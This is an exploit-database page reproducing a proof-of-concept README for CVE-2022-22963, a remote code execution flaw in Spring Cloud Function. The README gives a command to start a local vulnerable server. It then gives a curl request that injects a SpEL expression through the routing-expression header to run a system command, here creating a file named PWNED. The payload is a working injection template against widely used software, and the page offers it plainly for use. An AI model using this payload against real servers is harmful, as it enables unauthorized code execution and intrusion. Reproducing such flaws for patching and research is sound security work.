Sploitus

Exploit for Code Injection in Vmware Spring Cloud Function

githubexploit · 2022-03-30

Exploit Code

README27 lines
## https://sploitus.com/exploit?id=723B41AF-E5A8-5571-BA74-FA8924B88606
# CVE-2022-22963 RCE PoC

Minimal example to reproduce CVE-2022-22963 remote code execution in `org.springframework.cloud:spring-cloud-function-core`.

## Exploit

### Run the server

```shell
mvn spring-boot:run
```

### Make a request

```shell
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter
```

As a result of the exploit file `PWNED` will be crated nearby `pom.xml`.


## Additional info

- Original advisory: https://tanzu.vmware.com/security/cve-2022-22963
- Snyk advisory: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
- This PoC is based on: https://github.com/Pizz33/Spring-Cloud-Function-SpEL